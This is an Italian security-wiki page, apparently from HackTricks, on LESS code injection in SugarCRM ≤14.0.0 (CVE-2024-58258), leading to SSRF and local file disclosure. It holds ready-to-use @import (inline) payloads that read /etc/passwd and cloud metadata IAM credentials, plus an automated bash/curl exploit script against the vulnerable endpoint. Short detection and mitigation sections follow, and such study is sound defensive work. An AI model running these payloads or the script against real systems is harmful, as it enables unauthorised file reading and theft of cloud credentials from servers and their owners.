LESS Code Injection che porta a SSRF e Lettura di File Locali
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
LESS è un popolare pre-processore CSS che aggiunge variabili, mixin, funzioni e la potente direttiva @import
. Durante la compilazione, il motore LESS recupera le risorse referenziate nelle dichiarazioni @import
e incorpora ("inline") i loro contenuti nel CSS risultante quando viene utilizzata l'opzione (inline)
.
Quando un'applicazione concatena input controllato dall'utente in una stringa che viene successivamente analizzata dal compilatore LESS, un attaccante può iniettare codice LESS arbitrario. Abusando di @import (inline)
, l'attaccante può costringere il server a recuperare:
- File locali tramite il protocollo
file://
(divulgazione di informazioni / Inclusione di File Locali). - Risorse remote su reti interne o servizi di metadati cloud (SSRF).
Questa tecnica è stata vista in prodotti reali come SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview
).
Sfruttamento
- Identificare un parametro che è direttamente incorporato all'interno di una stringa di foglio di stile elaborata dal motore LESS (ad es.
?lm=
in SugarCRM). - Chiudere l'attuale dichiarazione e iniettare nuove direttive. I primitivi più comuni sono:
;
– termina la dichiarazione precedente.}
– chiude il blocco precedente (se necessario).
- Utilizzare
@import (inline) '<URL>';
per leggere risorse arbitrarie. - Facoltativamente iniettare un marcatore (
data:
URI) dopo l'importazione per facilitare l'estrazione del contenuto recuperato dal CSS compilato.
Lettura di File Locali
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Il contenuto di /etc/passwd
apparirà nella risposta HTTP poco prima del marcatore @@END@@
.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatizzato (esempio SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Rilevamento
- Cerca risposte
.less
o.css
generate dinamicamente contenenti parametri di query non sanitizzati. - Durante la revisione del codice, cerca costruzioni come
"@media all { .preview { ... ${userInput} ... } }"
passate alle funzioni di rendering LESS. - I tentativi di sfruttamento spesso includono
@import
,(inline)
,file://
,http://169.254.169.254
, ecc.
Mitigazioni
- Non passare dati non attendibili al compilatore LESS.
- Se sono necessari valori dinamici, escapa/sanitizza correttamente (ad es., limita a token numerici, liste bianche).
- Disabilita, quando possibile, la possibilità di utilizzare importazioni
(inline)
, o limita i protocolli consentiti ahttps
. - Mantieni le dipendenze aggiornate – SugarCRM ha corretto questo problema nelle versioni 13.0.4 e 14.0.1.
Casi del Mondo Reale
Prodotto | Endpoint Vulnerabile | Impatto |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF non autenticato e lettura di file locali |
Riferimenti
- SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilità di Iniezione di Codice LESS
- Avviso di Sicurezza SugarCRM SA-2024-059
- CVE-2024-58258
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.